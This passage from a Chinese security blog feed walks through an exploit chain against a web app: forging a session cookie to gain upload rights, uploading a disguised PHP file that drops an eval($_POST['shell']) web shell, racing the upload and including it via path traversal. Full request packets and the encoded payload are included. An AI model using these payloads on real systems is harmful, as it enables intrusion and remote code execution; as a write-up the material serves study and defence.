hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);overflow: hidden;"><br/></section></section></section><section data-autoskip="1" style="font-size: 14px;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(62, 62, 62);padding: 0.4em 1em;box-sizing: border-box;"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">首先用已经掌握的低权限账号密码登陆，登陆之后会得到一个已经 &#34;logged_in&#34; 的 cookie。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">例如：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer">ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+<span class="code-snippet__number">0i</span>ho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+<span class="code-snippet__number">0l</span>+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=<span class="code-snippet__number">824f</span>09cccb5cf704340df4b5c205c26c5e9e52c2</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">解密之后：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">a</span><span class="code-snippet__selector-pseudo">:4</span>:{<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;session_id&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">32</span>:<span class="code-snippet__string">&#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;ip_address&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">13</span>:<span class="code-snippet__string">&#34;xxxxxxxxxxxxx&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;user_agent&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">114</span>:<span class="code-snippet__string">&#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">13</span>:<span class="code-snippet__string">&#34;last_activity&#34;</span>;<span class="code-snippet__attribute">i</span>:xxxxxxxxxx;}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">给这个序列化字符串加一点东西上去：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">a</span><span class="code-snippet__selector-pseudo">:5</span>:{<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;session_id&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">32</span>:<span class="code-snippet__string">&#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;ip_address&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">13</span>:<span class="code-snippet__string">&#34;xxxxxxxxxxxxx&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;user_agent&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">114</span>:<span class="code-snippet__string">&#34;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">13</span>:<span class="code-snippet__string">&#34;last_activity&#34;</span>;<span class="code-snippet__attribute">i</span>:xxxxxxxxxxxxx;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">10</span>:<span class="code-snippet__string">&#34;permission&#34;</span>;<span class="code-snippet__attribute">a</span>:<span class="code-snippet__number">1</span>:{s:<span class="code-snippet__number">16</span>:<span class="code-snippet__string">&#34;uploadController&#34;</span>;<span class="code-snippet__attribute">a</span>:<span class="code-snippet__number">1</span>:{s:<span class="code-snippet__number">12</span>:<span class="code-snippet__string">&#34;uploadMethod&#34;</span>;<span class="code-snippet__attribute">s</span>:<span class="code-snippet__number">1</span>:<span class="code-snippet__string">&#34;1&#34;</span>;}}}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后调用加密函数再生成新的 cookie:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">ci_session</span>=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+<span class="code-snippet__number">9</span>iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+<span class="code-snippet__number">4</span>g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/<span class="code-snippet__number">1</span>k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/<span class="code-snippet__number">2</span>wDbQ+E+IjgdZcrFGtKZwzZafaBH+<span class="code-snippet__number">2</span>pcDG2Tbo=<span class="code-snippet__number">5</span>c154e08c40a5d6a7652d8700429971065e97e07</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">具体利用过程中用到的请求包：</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">第一步：利用伪造的 cookie 进行上传</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">part1：</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">POST /uploadController/uploadMethod HTTP/<span class="code-snippet__number">1.1</span></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer">Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/<span class="code-snippet__number">1</span>k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/<span class="code-snippet__number">2</span>wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07</span></code><code><span class="code-snippet_outer">Content-Type: multipart/form-data; boundary=------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Length: xxx</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;uploadedFile&#34;</span>; filename=<span class="code-snippet__string">&#34;TempClass.php&#34;</span></span></code><code><span class="code-snippet_outer">Content-Type: image/png</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class TempClass{</span></code><code><span class="code-snippet_outer">    function __construct(){</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">print</span>(<span class="code-snippet__string">&#39;in __construct()\n&#39;</span>);</span></code><code><span class="code-snippet_outer">        file_put_contents(<span class="code-snippet__string">&#39;/tmp/TempClass2.php&#39;</span>,base64_decode(<span class="code-snippet__string">&#34;PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9&#34;</span>));        </span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    function getData1($params){</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">print</span>(<span class="code-snippet__string">&#39;in getData1()\n&#39;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">?&gt;</span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac--</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">第二步，因为需要条件竞争，可以考虑把这个上传包放到 intruder 里重放个几百次，然后在上传的过程中，去尝试包含 /tmp/TempClass.php ，来达到竞争的效果。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">part2:</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">POST /Meathods/method1 HTTP/<span class="code-snippet__number">1.1</span></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer">Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/<span class="code-snippet__number">1</span>k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/<span class="code-snippet__number">2</span>wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07</span></code><code><span class="code-snippet_outer">Content-Type: multipart/form-data; boundary=------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Length: <span class="code-snippet__number">314</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;class&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">../../../../../../../../../../../../../../../../../../../../tmp/TempClass</span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;method&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">getData1</span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac--</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">第三步，一旦包含成功，那么在实例化 TempClass 的时候，会写入一个新的 TempClass2，这下可没有代码会去 unlink 它了，可以被稳定的利用。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">part3:</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">POST /Meathods/method1 HTTP/<span class="code-snippet__number">1.1</span></span></code><code><span class="code-snippet_outer">......</span></code><code><span class="code-snippet_outer">Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/<span class="code-snippet__number">1</span>k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/<span class="code-snippet__number">2</span>wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07</span></code><code><span class="code-snippet_outer">Content-Type: multipart/form-data; boundary=------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Length: <span class="code-snippet__number">433</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;class&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">../../../../../../../../../../../../../../../../../../../../tmp/TempClass2</span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;method&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">getData1</span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac</span></code><code><span class="code-snippet_outer">Content-Disposition: form-data; name=<span class="code-snippet__string">&#34;shell&#34;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">var_dump(<span class="code-snippet__string">&#34;hello,world&#34;</span>);</span></code><code><span class="code-snippet_outer">--------------------------<span class="code-snippet__number">85</span>a71e8a43af37ac--</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">OK！打完收工。</span></p></section><section style="text-align: right;margin-right: 10px;padding-bottom: 6px;box-sizing: border-box;"><section style="display: inline-block;"><section style="box-sizing: border-box;width: 6px;height: 6px;border-radius: 100%;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="280" style="box-sizing: border-box;clear: both;width: 4em;height: 10px;border-radius: 10px;background: rgb(30, 232, 40);margin-right: 10px;margin-bottom: -5px;overflow: hidden;transform: rotate(0deg);"><br/></section><section style="box-sizing: border-box;width: 3em;height: 10px;border-radius: 10px;background: rgb(30, 155, 232);float: right;overflow: hidden;"><br/></section><section style="clear: both;height: 0px;overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-role="paragraph" data-color="#1e9be8"><p><br/></p></section><section data-tools="135编辑器" data-id="102897" data-color="#1e9be8"><section style="margin: 10px auto;"><section style="display: inline-block;"><section style="display: flex;justify-content: flex-start;align-items: center;margin-right: 1em;margin-left: 1em;background: rgb(255, 255, 255);"><section style="box-sizing: border-box;width: 8px;height: 8px;background: rgb(30, 155, 232);border-radius: 100%;color: rgb(255, 255, 255);overflow: hidden;"><br/></section><section style="font-size: 25px;letter-spacing: 1.5px;font-weight: bold;color: rgb(30, 155, 232);margin-right: 8px;margin-left: 8px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">REVIEW</span></section></section></section><section style="border-width: 1px;border-style: solid;border-color: rgb(30, 155, 232);padding: 1em;border-radius: 8px;margin-top: -21px;box-sizing: border-box;"><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(30, 155, 232);"><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">稍微来总结一下整条利用链：</span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.找到文件上传 -&gt; 一个 “不稳定” 的文件上传</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.找文件包含 -&gt; 目录穿越导致任意文件包含</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.条件竞争 -&gt; 结合 1、2 条件竞争获得 RCE</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.找权限控制 -&gt; 伪造 cookie 得到任意接口的访问权限</span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"></span></p></section></section></section></section></section><p><br/></p>



<p><a href="2247484045">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4762e930&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247484045%26idx%3D1%26sn%3Dd8b55ddd884911b72316d855ae84548f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 16 Mar 2021 18:01:00 +0800</pubDate>
    </item>
    <item>
      <title>.NET反序列化--VIEWSTATE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484032&amp;idx=1&amp;sn=248e68920844e2c5b68c4df519452803</link>
      <description>.NET反序列化--VIEWSTATE~~~</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2021-03-01 18:46</span> <span style="display: inline-block;"></span>
</p>

<p>.NET反序列化--VIEWSTATE~~~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e39c95a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DETebtfqKFfL9PUkRfcuKjUy1JXWCIsocnLmSib66XRl5tR5lhP8YORw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tools="135编辑器" data-id="101496" data-color="#59c3f9"><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;"><section style="padding: 3px;border-width: 1px;border-style: solid;border-color: rgb(89, 195, 249);display: inline-flex;justify-content: center;align-items: center;box-sizing: border-box;"><section data-brushtype="text" style="padding: 5px 20px;font-size: 16px;font-weight: bold;letter-spacing: 1.5px;line-height: 1.75em;color: rgb(255, 255, 255);background: none rgb(89, 195, 249);"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;">.NET反序列化--VIEWSTATE</span></section><section style="box-sizing:border-box;margin-left: -2em;width: 2em;transform: translate(0.25em, -0.46em);-webkit-transform: translate(0.25em, -0.46em);-moz-transform: translate(0.25em, -0.46em);-ms-transform: translate(0.25em, -0.46em);-o-transform: translate(0.25em, -0.46em);"><img data-ratio="1.0847457627118644" style="box-sizing:border-box;width: 100%;display: block;" data-type="png" data-w="59" data-width="100%" 